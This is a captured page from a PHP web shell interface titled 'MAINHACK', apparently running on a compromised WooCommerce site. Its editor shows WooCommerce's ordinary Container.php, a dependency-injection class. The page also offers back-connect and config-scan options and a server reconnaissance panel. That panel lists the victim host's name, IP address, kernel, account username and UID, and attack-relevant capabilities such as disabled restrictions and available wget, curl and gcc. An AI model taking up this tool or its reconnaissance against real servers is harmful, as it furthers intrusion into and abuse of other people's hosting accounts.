[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: Container.php
<?php /** * Container class file. */ declare( strict_types=1 ); namespace Automattic\WooCommerce; use Automattic\WooCommerce\Internal\DependencyManagement\ContainerException; use Automattic\WooCommerce\Internal\DependencyManagement\RuntimeContainer; /** * PSR11 compliant dependency injection container for WooCommerce. * * Classes in the `src` directory should specify dependencies from that directory via an 'init' method having arguments * with type hints. If an instance of the container itself is needed, the type hint to use is \Psr\Container\ContainerInterface. * * Classes in the `src` directory should interact with anything outside (especially code in the `includes` directory * and WordPress functions) by using the classes in the `Proxies` directory. The exception is idempotent * functions (e.g. `wp_parse_url`), those can be used directly. * * Classes in the `includes` directory should use the `wc_get_container` function to get the instance of the container when * they need to get an instance of a class from the `src` directory. * * Internally, an instance of RuntimeContainer will be used for the actual class resolution. This class uses reflection * to instantiate classes and figure out dependencies, so there's no need for explicit class registration. * When running the unit tests suite this will be replaced with an instance of TestingContainer, * which provides additional functionality. */ final class Container { /** * The underlying container. * * @var RuntimeContainer */ private $container; /** * Class constructor. */ public function __construct() { // When the League container was in use we allowed to retrieve the container itself // by using 'Psr\Container\ContainerInterface' as the class identifier, // we continue allowing that for compatibility. $this->container = new RuntimeContainer( array( __CLASS__ => $this, 'Psr\Container\ContainerInterface' => $this, ) ); } /** * Returns an instance of the specified class. * See the comment about ContainerException in RuntimeContainer::get. * * @template T * @param string|class-string<T> $id Class name. * * @return T|object Object instance. * * @throws ContainerException Error when resolving the class to an object instance, or class not found. * @throws \Exception Exception thrown in the constructor or in the 'init' method of one of the resolved classes. */ public function get( string $id ) { return $this->container->get( $id ); } /** * Returns true if the container can return an instance of the given class or false otherwise. * See the comment in RuntimeContainer::has. * * @param class-string $id Class name. * * @return bool */ public function has( string $id ): bool { return $this->container->has( $id ); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium707.web-hosting.com
Server IP: 198.177.120.115
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium707.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 76.27 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: urbaoubp
User ID (UID): 1252
Group ID (GID): 1257
Script Owner UID: 1252
Current Dir Owner: 1252